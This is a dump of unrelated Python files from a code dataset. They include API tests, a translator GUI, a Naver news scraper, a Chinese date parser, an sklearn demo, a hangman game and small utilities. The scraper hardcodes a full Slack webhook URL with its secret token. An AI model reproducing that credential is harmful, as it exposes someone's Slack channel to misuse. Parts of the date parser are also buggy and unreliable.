'collection', \n 'id', 'version', 'spec']\n [self.assertTrue(x in manifest) for x in keys]\n self.assertTrue(manifest['id']==self.image_id)\n\n\n\n def test_download_image(self):\n '''test_download_image will ensure that an image is downloaded to an\n appropriate location (tmpdir) or cache\n '''\n from shub.api import download_image, get_manifest\n print(\"Case 1: Specifying a directory downloads to it\")\n manifest = get_manifest(image_id=self.image_id)\n image = download_image(manifest,\n download_folder=self.tmpdir)\n self.assertEqual(os.path.dirname(image),self.tmpdir)\n os.remove(image)\n\n print(\"Case 2: Not specifying a directory downloads to PWD\")\n os.chdir(self.tmpdir)\n image = download_image(manifest)\n self.assertEqual(os.getcwd(),self.tmpdir)\n os.remove(image)\n\n print(\"Case 3: Image should not be extracted.\")\n image = download_image(manifest,extract=False)\n self.assertTrue(image.endswith('.img.gz')) \n\n\n def test_get_image_name(self):\n '''test_get_image_name will return the image name from the manifest\n '''\n from shub.api import get_image_name, get_manifest\n manifest = get_manifest(image_id=self.image_id)\n \n print(\"Case 1: return an image name using the commit id\")\n image_name = get_image_name(manifest)\n self.assertEqual('f57e631a0434c31f0b4fa5276a314a6d8a672a55.img.gz',\n image_name)\n\n print(\"Case 2: ask for invalid extension\")\n with self.assertRaises(SystemExit) as cm:\n image_name = get_image_name(manifest,\n extension='.bz2')\n self.assertEqual(cm.exception.code, 1)\n\n print(\"Case 3: don't use commit (use md5 sum on generation)\")\n image_name = get_image_name(manifest,\n use_commit=False)\n print(image_name)\n self.assertEqual('be4b9ba8fc22525d2ee2b27846513d42.img.gz',image_name)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"libexec/python/tests/test_shub.py","file_name":"test_shub.py","file_ext":"py","file_size_in_byte":4062,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"45557389","text":"\nfrom os import name\nfrom tkinter import *\nfrom PIL import Image,ImageTk\nfrom googletrans import Translator\n# Tao Tk windown\n\nroot=Tk()\nroot.title('Google')\nroot.geometry('500x630')\nroot.iconbitmap('google\\logo.ico')\n\n\nload = Image.open(r'google\\background.png')\nrender=ImageTk.PhotoImage(load)\nimg=Label(root,image=render)\nimg.place(x=0,y=0)\n\nname=Label(root,text=\"Translator\",fg=\"#FFFFFF\",bd=0,bg=\"#031520\")\nname.config(font=(\"Transformers Movie\",30))\nname.pack(pady=10)\n\nbox=Text(root,width=28,height=8,font=(\"Arial\",16))\nbox.pack(pady=20)\n\nbutton_frame=Frame(root).pack(side=BOTTOM)\n\ndef clear():\n box.delete(1.0,END)\n box1.delete(1.0,END)\ndef translate():\n INPUT=box.get(1.0,END)\n t=Translator()\n a=t.translate(INPUT)\n b=a.text\n box1.insert(END,b)\nclear_button=Button(button_frame,text=\"Clear Text\",font=(\"Arial\",10,'bold'), bg='#303030',fg=\"#ffffff\",command=clear)\nclear_button.place(x=150,y=300)\ntran_button=Button(button_frame,text=\"Translate\",font=(\"Arial\",10,'bold'), bg='#303030',fg=\"#ffffff\",command=translate)\ntran_button.place(x=290,y=300)\n\nbox1=Text(root,width=28,height=8,font=(\"Arial\",16))\nbox1.pack(pady=50)\nroot.mainloop()\n","sub_path":"google/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"25447430","text":"\n# coding: utf-8\n\n# In[36]:\n\n\nimport datetime\nimport requests, json, time\nimport pandas as pd\nfrom selenium import webdriver\nimport warnings\ndef ignore_warn(*args, **kwargs):\n pass\nwarnings.warn = ignore_warn\n\n\n# In[38]:\n\n\ndef send_slack(msg):\n webhook_URL = \"https://hooks.slack.com/services/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\"\n # 슬랙 웹훅 URL\n# 데이터\n data = {\n \"channel\": \"#webhook\", \"emoji\": \":angry:\", \"msg\": msg, \"username\": \"매니져\",\n }\n# 페이로드 생성\n payload = {\n \"channel\": data[\"channel\"], \"username\": data[\"username\"], \"icon_emoji\": data[\"emoji\"], \"text\": data[\"msg\"],\n }\n# 전송\n response = requests.post(\n webhook_URL,\n\n data = json.dumps(payload), )\n\n# 결과\n print(response)\n\n\narticle_list = []\ns = datetime.datetime.now()\ndef get_article(page):\n\n\n driver = webdriver.Chrome()\n\n driver.get(\"http://news.naver.com/main/main.nhn?mode=LSD&mid =shm&sid1=105#&date=\"+str(s)[:10]+\" 00:00:00&page=\" + str(page))\n\n articles = driver.find_elements_by_css_selector('#section_body li')\n\n for article in articles:\n title = article.find_element_by_css_selector('dt:not(.photo) > a').text\n article_list.append(title)\n\n driver.close()\n\nget_article(1)\n\ns = article_list\n\n\nidx_list =[]\ntitle_list =[]\nfor idx, title in enumerate(s):\n idx_list.append(idx)\n title_list.append(title)\n\nnews = pd.DataFrame({\"Title\":title_list})\n\nsend_slack(str(news))\nwith open('article.csv', 'a', encoding='utf-8', newline='') as f:\n f.writelines(news)\n\nnews.to_csv(\"article.csv\",'w', encoding=\"utf-8\")\n","sub_path":"Naver_news_Crawler_using Crontab/News_using_crontab.py","file_name":"News_using_crontab.py","file_ext":"py","file_size_in_byte":1598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"521131104","text":"# encoding=utf-8\nimport jieba.posseg as pseg\nimport jieba\nimport sys\nimport urllib2\nimport json\nimport re\nimport copy\nimport datetime\nimport time\nimport calendar\n\n\njieba.load_userdict('/Users/sky/project/INTELLI-City/docs/refer_project/wx/wendata/dict/dict1.txt')\njieba.load_userdict('/Users/sky/project/INTELLI-City/docs/refer_project/wx/wendata/dict/dict_manual.txt')\njieba.load_userdict('/Users/sky/project/INTELLI-City/docs/refer_project/wx/wendata/dict/dict_date.txt')\njieba.load_userdict('/Users/sky/project/INTELLI-City/docs/refer_project/wx/wendata/dict/dict2.txt')\nreload(sys)\nsys.setdefaultencoding('utf-8')\ntoday = datetime.date.today()\ntoday = str(today).split('-')\nyearOfMonth = today\n\n\ndef parseCommonExpressionDate(sentence):\n '''\n 把常规说法换成日期区间\n '''\n preDate = get_date()\n words = []\n timeList = []\n tag = []\n numbers=[]\n yearOfMonth=[]\n today = datetime.date.today()\n today = str(today).split('-')\n yearOfMonth = today\n for key in preDate.keys():\n words.append(re.search(key, sentence))\n for word in words:\n numbers=[]\n if word is not None and (preDate[word.group()] == '现在' or preDate[word.group()] == '今天'):\n numbers=time.strptime(datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\"),\"%Y-%m-%d %H:%M:%S\")\n tempStartTime = str(numbers.tm_year) + '-' + str(numbers.tm_mon) + '-' + str(numbers.tm_mday) + \" 00:00:00\"\n timeList.append(tempStartTime)\n tag.append('ymd')\n if word is not None and preDate[word.group()] == '昨天':\n numbers=time.strptime((datetime.datetime.now()-datetime.timedelta(days=1)).strftime(\"%Y-%m-%d %H:%M:%S\"),\"%Y-%m-%d %H:%M:%S\")\n tempStartTime = str(numbers.tm_year) + '-' + str(numbers.tm_mon) + '-' + str(numbers.tm_mday) + \" 00:00:00\"\n timeList.append(tempStartTime)\n tag.append('ymd')\n if word is not None and preDate[word.group()] == '前天':\n numbers=time.strptime((datetime.datetime.now()-datetime.timedelta(days=2)).strftime(\"%Y-%m-%d %H:%M:%S\"),\"%Y-%m-%d %H:%M:%S\")\n tempStartTime = str(numbers.tm_year) + '-' + str(numbers.tm_mon) + '-' + str(numbers.tm_mday) + \" 00:00:00\"\n timeList.append(tempStartTime)\n tag.append('ymd')\n if word is not None:\n yearOfMonth[0]=str(numbers.tm_year)\n yearOfMonth[1]=str(numbers.tm_mon)\n yearOfMonth[2]=str(numbers.tm_mday)\n return [timeList,tag,yearOfMonth]\n\n\ndef parseCountExpressionDate(SENTENCE,TIMELIST,TAG,YEAROFMONTH):\n # 把几天前这种带数字的说法换成日期\n sentence=copy.deepcopy(SENTENCE)\n timeList=copy.deepcopy(TIMELIST)\n tag=copy.deepcopy(TAG)\n yearOfMonth=copy.deepcopy(YEAROFMONTH)\n words = []\n timeList = []\n tag = []\n match = re.findall(r'(\\d+)天前', sentence)\n sentence1 = re.sub(r'(\\d+)天前',\"\",sentence)\n for m in match:\n numbers=[]\n if m is not None:\n numbers=time.strptime((datetime.datetime.now()-datetime.timedelta(days=int(m))).strftime(\"%Y-%m-%d %H:%M:%S\"),\"%Y-%m-%d %H:%M:%S\")\n tempStartTime = str(numbers.tm_year) + '-' + str(numbers.tm_mon) + '-' + str(numbers.tm_mday) + \" 00:00:00\"\n timeList.append(tempStartTime)\n tag.append('ymd')\n yearOfMonth[0]=str(numbers.tm_year)\n yearOfMonth[1]=str(numbers.tm_mon)\n yearOfMonth[2]=str(numbers.tm_mday)\n match = re.findall(r'(\\d+)小时前', sentence1)\n sentence2 = re.sub(r'(\\d+)小时前',\"\",sentence1)\n for m in match:\n numbers=[]\n if m is not None:\n numbers=time.strptime((datetime.datetime.now()-datetime.timedelta(hours=int(m))).strftime(\"%Y-%m-%d %H:%M:%S\"),\"%Y-%m-%d %H:%M:%S\")\n tempStartTime = str(numbers.tm_year) + '-' + str(numbers.tm_mon) + '-' + str(numbers.tm_mday) + \" \"+str(numbers.tm_hour)+\":00:00\"\n timeList.append(tempStartTime)\n tag.append('ymdh')\n yearOfMonth[0]=str(numbers.tm_year)\n yearOfMonth[1]=str(numbers.tm_mon)\n yearOfMonth[2]=str(numbers.tm_mday)\n yearOfMonth.append(str(numbers.tm_hour))\n return [timeList,tag,yearOfMonth,sentence]\n\n\ndef toYMDH(sentence,timeList,tag,yearOfMonth):\n match = re.findall(r'(\\d{4})年(\\d{1,2})月(\\d{1,2})日(\\d{1,2})[点|时]', sentence)\n # print match\n if match != []:\n for x in range(len(match)):\n tempStartTime = match[x][0] + '-' + match[x][1] + \\\n '-' + match[x][2] + \" \" + match[x][3] + \":00:00\"\n if isVaildDate(tempStartTime):\n # startTime=tempStartTime+'Z'\n timeList.append(tempStartTime)\n yearOfMonth[0]=match[x][0]\n yearOfMonth[1]=match[x][1]\n yearOfMonth[2]=match[x][2]\n yearOfMonth.append(match[x][3])\n tag.append(\"ymdh\")\n\n return re.sub(\n r'(\\d{4})年(\\d{1,2})月(\\d{1,2})日(\\d{1,2})[点|时]',\n \"\",\n sentence)\n\n\ndef toYMD(sentence,timeList,tag,yearOfMonth):\n match = re.findall(r'(\\d{4})年(\\d{1,2})月(\\d{1,2})日', sentence)\n # print match\n if match != []:\n for x in range(len(match)):\n tempStartTime = match[x][0] + '-' + \\\n match[x][1] + '-' + match[x][2] + \" 00:00:00\"\n # print tempStartTime\n if isVaildDate(tempStartTime):\n # startTime=tempStartTime+'Z'\n timeList.append(tempStartTime)\n yearOfMonth[0]=match[x][0]\n yearOfMonth[1]=match[x][1]\n yearOfMonth[2]=match[x][2]\n tag.append(\"ymd\")\n\n return re.sub(r'(\\d{4})年(\\d{1,2})月(\\d{1,2})日', \"\", sentence)\n\n\ndef toMDH(sentence,timeList,tag,yearOfMonth):\n match = re.findall(r'(\\d{1,2})月(\\d{1,2})日(\\d{1,2})[点|时]', sentence)\n if match != []:\n if len(timeList)==1:\n tempStartTime = yearOfMonth[0] + '-' + match[x][0] + '-' + match[x][1] + \" \" + match[x][2] + \":00:00\"\n if isVaildDate(tempStartTime):\n # startTime=tempStartTime+'Z'\n timeList.append(tempStartTime)\n yearOfMonth[1] = match[x][0]\n yearOfMonth[2] = match[x][1]\n yearOfMonth.append(match[x][2])\n tag.append(\"mdh\")\n else:\n for x in range(len(match)):\n j1 = int(today[1]) * 100 + int(today[2])\n j2 = int(match[x][0]) * 100 + int(match[x][1])\n # print j2\n if j1 < j2:\n tempStartTime = str(int(\n today[0]) - 1) + '-' + match[x][0] + '-' + match[x][1] + \" \" + match[x][2] + \":00:00\"\n else:\n tempStartTime = today[0] + '-' + match[x][0] + \\\n '-' + match[x][1] + \" \" + match[x][2] + \":00:00\"\n # print tempStartTime\n if isVaildDate(tempStartTime):\n # startTime=tempStartTime+'Z'\n timeList.append(tempStartTime)\n yearOfMonth[1] = match[x][0]\n yearOfMonth[2] = match[x][1]\n yearOfMonth.append(match[x][2])\n tag.append(\"mdh\")\n return re.sub(r'(\\d{1,2})月(\\d{1,2})日(\\d{1,2})[点|时]', \"\", sentence)\n\n\ndef toMD(sentence,timeList,tag,yearOfMonth):\n match = re.findall(r'(\\d{1,2})月(\\d{1,2})日', sentence)\n\n # print match\n if match != []:\n if len(timeList)==1:\n tempStartTime = yearOfMonth[0] + '-' + match[0][0] + '-' + match[0][1] + \" 00:00:00\"\n if isVaildDate(tempStartTime):\n # startTime=tempStartTime+'Z'\n timeList.append(tempStartTime)\n yearOfMonth[1] = match[0][0]\n yearOfMonth[2] = match[0][1]\n tag.append(\"md\")\n else:\n for x in range(len(match)):\n j1 = int(today[1]) * 100 + int(today[2])\n j2 = int(match[x][0]) * 100 + int(match[x][1])\n # print j2\n if j1 < j2:\n tempStartTime = str(\n int(today[0]) - 1) + '-' + match[x][0] + '-' + match[x][1] + \" 00:00:00\"\n else:\n tempStartTime = today[0] + '-' + \\\n match[x][0] + '-' + match[x][1] + \" 00:00:00\"\n if isVaildDate(tempStartTime):\n # startTime=tempStartTime+'Z'\n timeList.append(tempStartTime)\n yearOfMonth[1] = match[x][0]\n yearOfMonth[2] = match[x][1]\n tag.append( \"md\")\n\n return re.sub(r'(\\d{1,2})月(\\d{1,2})日', \"\", sentence)\n\n\ndef toDH(sentence,timeList,tag,yearOfMonth):\n match = re.findall(r'(\\d{1,2})日(\\d{1,2})[点|时]', sentence)\n # print match\n\n if match != []:\n if len(timeList)==1:\n tempStartTime = yearOfMonth[0] + '-' + yearOfMonth[1] + '-' + match[x][0] + \" \" + match[x][1] + \":00:00\"\n if isVaildDate(tempStartTime):\n # startTime=tempStartTime+'Z'\n timeList.append(tempStartTime)\n yearOfMonth[2] = match[x][0]\n yearOfMonth.append(match[x][1])\n tag.append(\"dh\")\n \n else:\n for x in range(len(match)):\n j1 = int(today[2])\n j2 = int(match[x][0])\n # print j2\n if j1 < j2:\n if int(today[1]) != 1:\n tempStartTime = today[0] + '-' + str(int(today[1]) - 1) + '-' + match[x][0] + \" \" + match[x][1] + \":00:00\"\n else:\n tempStartTime = today[0] + '-' + '12' + '-' + match[x][0] + \" \" + match[x][1] + \":00:00\"\n else:\n tempStartTime = today[0] + '-' + today[1] + \\\n '-' + match[x][0] + \" \" + match[x][1] + \":00:00\"\n # print tempStartTime\n if isVaildDate(tempStartTime):\n # startTime=tempStartTime+'Z'\n timeList.append(tempStartTime)\n yearOfMonth[2] = match[x][0]\n yearOfMonth.append(match[x][1]) \n tag.append(\"dh\")\n\n return re.sub(r'(\\d{1,2})日(\\d{1,2})[点|时]', \"\", sentence)\n\n\ndef toYM(sentence,timeList,tag,yearOfMonth):\n match = re.findall(r'(\\d{4})年(\\d{1,2})月', sentence)\n # print match\n if match != []:\n for x in range(len(match)):\n # monthRange = calendar.monthrange(int(match[x][0]), int(match[x][1]))\n # print monthRange\n tempStartTime = match[x][0] + '-' + \\\n match[x][1] +\"-1 00:00:00\"\n # print tempStartTime\n if isVaildDate(tempStartTime):\n # startTime=tempStartTime+'Z'\n timeList.append(tempStartTime)\n yearOfMonth[0] = match[x][0]\n yearOfMonth[1] = match[x][1]\n tag.append(\"ym\")\n\n return re.sub(r'(\\d{4})年(\\d{1,2})月', \"\", sentence)\n\n\ndef toY(sentence,timeList,tag,yearOfMonth):\n match = re.findall(r'(\\d{4})年', sentence)\n # print match\n if match != []:\n for x in range(len(match)):\n tempStartTime = match[x] + '-1-1' + \" 00:00:00\"\n # print tempStartTime\n if isVaildDate(tempStartTime):\n # startTime=tempStartTime+'Z'\n timeList.append(tempStartTime)\n yearOfMonth[0] = match[0]\n tag.append(\"y\")\n\n return re.sub(r'(\\d{4})年', \"\", sentence)\n\n\ndef toM(sentence,timeList,tag,yearOfMonth):\n match = re.findall(r'(\\d{1,2})月', sentence)\n # print match\n if match != []:\n if len(timeList) == 1 :\n if len(match) == 1:\n # print match\n if int(match[0]) < int(yearOfMonth[1]):\n monthRange = calendar.monthrange(int(yearOfMonth[0]), int(yearOfMonth[1]))\n tempStartTime = str(yearOfMonth[0]) + \"-\" + match[0] + '-1' + \" 00:00:00\"\n timeList[0] = str(yearOfMonth[0]) + \"-\" + str(yearOfMonth[1]) + '-' + str(monthRange[1]) + \" 00:00:00\"\n else:\n monthRange = calendar.monthrange(\n int(yearOfMonth[0]), int(match[0]))\n tempStartTime = str(yearOfMonth[0]) + \"-\" + match[0] + '-' + str(monthRange[1]) + \" 00:00:00\"\n # print tempStartTime\n if isVaildDate(tempStartTime):\n # startTime=tempStartTime+'Z'\n timeList.append(tempStartTime)\n yearOfMonth[1] = match[0]\n tag.append(\"m\")\n\n else:\n for x in range(len(match)):\n tempStartTime = today[0] + \"-\" + match[x] + '-1' + \" 00:00:00\"\n if isVaildDate(tempStartTime):\n # startTime=tempStartTime+'Z'\n timeList.append(tempStartTime)\n yearOfMonth[1] = match[0]\n # yearOfMonth[1]=match[0]\n tag.append(\"m\")\n return re.sub(r'(\\d{1,2})月', \"\", sentence)\n\n\ndef toD(sentence,timeList,tag,yearOfMonth):\n match = re.findall(r'(\\d{1,2})日', sentence)\n # print match\n if match != []:\n for x in range(len(match)):\n tempStartTime = yearOfMonth[0] + \"-\" + \\\n yearOfMonth[1] + '-' + match[x] + \" 00:00:00\"\n # print tempStartTime\n if isVaildDate(tempStartTime):\n # startTime=tempStartTime+'Z'\n timeList.append(tempStartTime)\n yearOfMonth[2] = match[0]\n tag.append(\"d\")\n\n\n return re.sub(r'(\\d{1,2})日', \"\", sentence)\n\n\ndef toH(sentence,timeList,tag,yearOfMonth):\n match = re.findall(r'(\\d{1,2})[点|时]', sentence)\n # print match\n if match != []:\n for x in range(len(match)):\n tempStartTime = yearOfMonth[0] + \"-\" + yearOfMonth[1] + \\\n '-' + yearOfMonth[2] + \" \"+match[x] + \":00:00\"\n if isVaildDate(tempStartTime):\n # startTime=tempStartTime+'Z'\n timeList.append(tempStartTime)\n tag.append(\"h\")\n\n\ndef parse_date(sentence):\n word = None\n timeList = []\n tag = []\n yearOfMonth = []\n today = datetime.date.today()\n today = str(today).split('-')\n yearOfMonth = today\n other=False\n # print yearOfMonth\n needRerange=False\n timeList=parseCommonExpressionDate(sentence)[0]\n tag=parseCommonExpressionDate(sentence)[1]\n yearOfMonth=parseCommonExpressionDate(sentence)[2]\n pced=parseCountExpressionDate(sentence,timeList,tag,yearOfMonth)\n timeList.extend(pced[0])\n tag.extend(pced[1])\n yearOfMonth=pced[2]\n sentence=pced[3]\n\n # 用户输入时间转成系统时间\n\n #年月日时\n # print \"--------年月日时--------\"\n sentence1=toYMDH(sentence,timeList,tag,yearOfMonth)\n\n #年月日\n # print \"--------年月日--------\"\n sentence2=toYMD(sentence1,timeList,tag,yearOfMonth)\n\n # 月日时\n # print \"--------月日时--------\"\n sentence3=toMDH(sentence2,timeList,tag,yearOfMonth)\n\n # 月日\n # print \"--------月日--------\"\n sentence4=toMD(sentence3,timeList,tag,yearOfMonth)\n # 日时\n # print \"--------日时--------\"\n sentence5=toDH(sentence4,timeList,tag,yearOfMonth)\n\n # 年月\n # print \"--------年月--------\"\n sentence6=toYM(sentence5,timeList,tag,yearOfMonth)\n # 年\n # print \"--------年--------\"\n sentence7=toY(sentence6,timeList,tag,yearOfMonth)\n # 月\n # print \"--------月--------\"\n sentence8=toM(sentence7,timeList,tag,yearOfMonth)\n\n # 日\n # print \"--------日--------\"\n sentence9=toD(sentence8,timeList,tag,yearOfMonth)\n\n # 时\n # print \"--------时--------\"\n toH(sentence9,timeList,tag,yearOfMonth)\n # print timeList \n if len(timeList)==0:\n return 0\n return normalizeDate(operatetimeList(timeList,tag))\n\n\ndef acceptDate(sentence):\n # print sentence\n match=[]\n match.append(re.findall(r'(\\d{4})年(\\d{1,2})日', sentence))\n match.append(re.findall(r'(\\d{4})年(\\d{1,2}点)|(\\d{1,2}时)', sentence))\n match.append(re.findall(r'(\\d{1,2})月(\\d{1,2}点)|(\\d{1,2}时)', sentence))\n # print match\n for x in match:\n if x!=None:\n return False\n return True\n\n\ndef compDate(l1,l2):\n c1=((l1.year*100+l1.month)*100+l1.day)*100+l1.hour\n c2=((l2.year*100+l2.month)*100+l2.day)*100+l2.hour\n return c1-c2\n\n\ndef findMin(l,tag):\n mini=l[0]\n t=tag[0]\n for x in range(1,len(l)):\n # print l[x]\n if compDate(mini,l[x])>0:\n mini=l[x]\n t=tag[x]\n return [mini,t]\n\n\ndef findMax(l,tag):\n maxi=l[0]\n t=tag[0]\n for x in range(1,len(l)):\n if compDate(maxi,l[x])<0:\n maxi=l[x]\n t=tag[x]\n return [maxi,t]\n\n\ndef conDate(y,m,d,h,mi,s):\n return str(y)+'-'+str(m)+'-'+str(d)+' '+str(h)+':'+str(mi)+':'+str(s)\n\n\ndef normalizeDate(l):\n returnList=[]\n for x in l:\n x.split(' ')\n half=x.split(' ')\n returnList.append(half[0]+'%20'+half[1]+'.134Z')\n return returnList\n\n\ndef operatetimeList(timeList,tag):\n timeListlen=len(timeList)\n returnList=[]\n today = datetime.date.today()\n today = str(today).split('-')\n todayTime=str(today[0]) + \"-\" + str(today[1]) + '-' + str(today[2]) + \" 23:59:59\"\n timecheck=[]\n for x in range(timeListlen):\n timecheck.append(datetime.datetime.strptime(timeList[x], \"%Y-%m-%d %H:%M:%S\"))\n # print timecheck[0].year\n if timeListlen==0 and tag==[]:\n return 0\n if timeListlen==1:\n returnList.append(timeList[0])\n monthRange = calendar.monthrange(timecheck[0].year, timecheck[0].month)\n if tag[0]=='y':\n returnList.append(conDate(timecheck[0].year,12,31,23,59,59))\n elif tag[0]=='ym' or tag[0]=='m':\n returnList.append(conDate(timecheck[0].year,timecheck[0].month,monthRange[1],23,59,59))\n elif tag[0]=='ymd' or tag[0]=='md' or tag[0]=='d':\n returnList.append(conDate(timecheck[0].year,timecheck[0].month,timecheck[0].day,23,59,59))\n elif tag[0]=='ymdh' or tag[0]=='mdh' or tag[0]=='dh' or tag[0]=='h':\n returnList.append(conDate(timecheck[0].year,timecheck[0].month,timecheck[0].day,timecheck[0].hour,59,59))\n return returnList\n if timeListlen>=2:\n # print timeList\n maxi=findMax(timecheck,tag)\n mini=findMin(timecheck,tag)\n timecheck[0]=mini[0]\n timecheck[1]=maxi[0]\n tag[1]=maxi[1]\n tag[0]=mini[1]\n if compDate(timecheck[0],timecheck[1])<0:\n returnList.append(conDate(timecheck[0].year,timecheck[0].month,timecheck[0].day,timecheck[0].hour,00,00))\n monthRange = calendar.monthrange(timecheck[1].year, timecheck[1].month)\n if tag[1]=='y':\n returnList.append(conDate(timecheck[1].year,12,31,23,59,59))\n elif tag[1]=='ym' or tag[1]=='m':\n returnList.append(conDate(timecheck[1].year,timecheck[1].month,monthRange[1],23,59,59))\n elif tag[1]=='ymd' or tag[1]=='md' or tag[1]=='d':\n returnList.append(conDate(timecheck[1].year,timecheck[1].month,timecheck[1].day,23,59,59))\n elif tag[1]=='ymdh' or tag[1]=='mdh' or tag[1]=='dh' or tag[1]=='h':\n returnList.append(conDate(timecheck[1].year,timecheck[1].month,timecheck[1].day,timecheck[1].hour,59,59))\n else:\n returnList.append(conDate(timecheck[1].year,timecheck[1].month,timecheck[1].day,timecheck[1].hour,00,00))\n monthRange = calendar.monthrange(timecheck[0].year, timecheck[0].month)\n if tag[0]=='y':\n returnList.append(conDate(timecheck[0].year,12,31,23,59,59))\n elif tag[0]=='ym' or tag[0]=='m':\n returnList.append(conDate(timecheck[0].year,timecheck[0].month,monthRange[1],23,59,59))\n elif tag[0]=='ymd' or tag[0]=='md' or tag[0]=='d':\n returnList.append(conDate(timecheck[0].year,timecheck[0].month,timecheck[0].day,23,59,59))\n elif tag[0]=='ymdh' or tag[0]=='mdh' or tag[0]=='dh' or tag[0]=='h':\n returnList.append(conDate(timecheck[0].year,timecheck[0].month,timecheck[0].day,timecheck[0].hour,59,59))\n return returnList\n\n\ndef get_date():\n import os\n cwd = os.getcwd()\n purl = cwd + \"/lib/data_base/time.json\"\n fin = open(purl, 'r+')\n p = fin.read()\n jp = json.loads(p)\n pros = toUTF8(jp)\n fin.close()\n return pros\n\n\ndef isVaildDate(date):\n try:\n if \":\" in date:\n time.strptime(date, \"%Y-%m-%d %H:%M:%S\")\n else:\n time.strptime(date, \"%Y-%m-%d\")\n return True\n except BaseException:\n return False\n\n\ndef toUTF8(origin):\n # change unicode type dict to UTF-8\n result = {}\n for x in origin.keys():\n val = origin[x].encode('utf-8')\n x = x.encode('utf-8')\n result[x] = val\n return result\n","sub_path":"server/lib/utility/parse_date.py","file_name":"parse_date.py","file_ext":"py","file_size_in_byte":21086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"571006360","text":"from sklearn.learning_curve import validation_curve #validation_curve模块 >>train/test学习效率,随参数的变化\nfrom sklearn.datasets import load_digits #digits手写体的数字,数据集\nfrom sklearn.svm import SVC #向量机支持模型\nimport matplotlib.pyplot as plt #可视化模块\nimport numpy as np\n\n#加载数据:\ndigits = load_digits()\nX = digits.data\ny = digits.target\n\n#建立model参数测试集\nparam_range = np.logspace(-6, -2.3, 5) #选取5个log(-6到-2.3)的model的gamma变量\n\n#使用validation_curve快速找出model参数对模型精度的影响 >>>看出过拟合,得到最优点(精度最高,也不过拟合)\ntrain_loss, test_loss = validation_curve(\n SVC(), X, y, param_name='gamma', param_range=param_range, cv=10, scoring='mean_squared_error')\n\n#平均每一轮所得到的平均方差\ntrain_loss_mean = -np.mean(train_loss, axis=1)\ntest_loss_mean = -np.mean(test_loss, axis=1)\n\n#可视化图形\nplt.plot(param_range, train_loss_mean, 'o-', color=\"r\",\n label=\"Training\")\nplt.plot(param_range, test_loss_mean, 'o-', color=\"g\",\n label=\"Cross-validation\")\n\n\nplt.xlabel(\"gamma\")\nplt.ylabel(\"Loss\")\nplt.legend(loc=\"best\")\nplt.show()","sub_path":"Sklearn教程/7.交叉验证3(判断过拟合).py","file_name":"7.交叉验证3(判断过拟合).py","file_ext":"py","file_size_in_byte":1237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"190504032","text":"from random import choices\n\nfrases = []\nactores = [\"schwarzenegger\", \"pacino\", \"gibson\", \"Gadot\"]\nfrutas = [\"mango\", \"pera\", \"manzana\", \"fresa\"]\ndeportes = [\"futbol\", \"baloncesto\", \"ciclismo\", \"natacion\"]\nfrases.append(actores)\nfrases.append(frutas)\nfrases.append(deportes)\n\n# Este programa solo funciona con una palabra\nsecreto = None # \"Cafe Tacuba\" #\"Metallica\"\nprogreso = None\nletra = None\ntemp = None\ncont = 0\nbandera = False\n\nwhile True:\n\n opcion = input(\n \"Seleccione la categoria asi:\\n1. Actores\\n2. Frutas\\n3. Deportes\\n4. Salir\\n>\")\n\n if opcion == \"1\":\n bandera = True\n secreto = choices(frases[0])[0]\n\n if opcion == \"2\":\n bandera = True\n secreto = choices(frases[1])[0]\n\n if opcion == \"3\":\n bandera = True\n secreto = choices(frases[2])[0]\n\n if opcion == \"4\":\n break\n\n if bandera:\n secreto = secreto.lower()\n progreso = (len(secreto)*\"_ \").split()\n\n while True:\n letra = input(\"Ingrese una letra \")\n\n if len(letra) == 1:\n if secreto.find(letra) != -1:\n temp = \"\"\n cont = 0\n\n for i in secreto:\n if i == letra:\n progreso[cont] = i\n cont += 1\n print(\" \".join(progreso))\n\n if \"\".join(progreso) == secreto:\n print(\"¡Gano!\")\n break\n else:\n print(\"Mostrar error\")\n else:\n print(\"Letra no valida\")\n","sub_path":"Actividades/palabras.py","file_name":"palabras.py","file_ext":"py","file_size_in_byte":1609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"501040696","text":"class Solution:\n def PrintMinNumber(self, nums):\n if not nums:\n return\n nums = list(map(str, nums))\n if nums.count('0') == len(nums):\n return '0'\n nums.sort(cmp=lambda x, y: cmp(x + y, y + x))\n return ''.join(nums)\n\n\nif __name__ == '__main__':\n s = Solution()\n print(s.PrintMinNumber([3, 32, 321, 4]))","sub_path":"Top_Question/printminnumber.py","file_name":"printminnumber.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"344802991","text":"#!/usr/bin/env python3.7\n\n\ndef main():\n from pickle import load as load_pickle\n with open(r'pickle/hash_all.pickle', r'rb') as istream:\n h2paths = load_pickle(istream)\n amz = sorted(_amz())\n hs = sorted(h2paths.keys())\n assert amz == hs\n vs = h2paths.values()\n for v in vs:\n for y in v:\n print('%s\\0' % y, end=r'')\n\n\ndef _amz():\n from hashlib import sha1\n from pathlib import Path\n for y in Path(r'/opt/amz/Amazon Drive/flat').glob(r'*'):\n yield sha1(y.read_bytes()).hexdigest()\n\n\nmain()\n","sub_path":"rm.py","file_name":"rm.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"447767149","text":"from __future__ import unicode_literals\nfrom .meat import system_cmd_result\n\n__all__ = [\n 'system_cmd_show', \n 'system_cmd', \n 'system_run',\n]\n\ndef system_cmd_show(cwd, cmd): \n ''' Display command, raise exception. '''\n system_cmd_result(\n cwd, cmd,\n display_stdout=True,\n display_stderr=True,\n raise_on_error=True)\n \ndef system_cmd(cwd, cmd):\n ''' Do not output; return value. '''\n res = system_cmd_result(\n cwd, cmd,\n display_stdout=False,\n display_stderr=False,\n raise_on_error=False)\n return res.ret\n\ndef system_run(cwd, cmd):\n ''' Gets the stdout of a command, raise exception if it failes '''\n res = system_cmd_result(\n cwd, cmd,\n 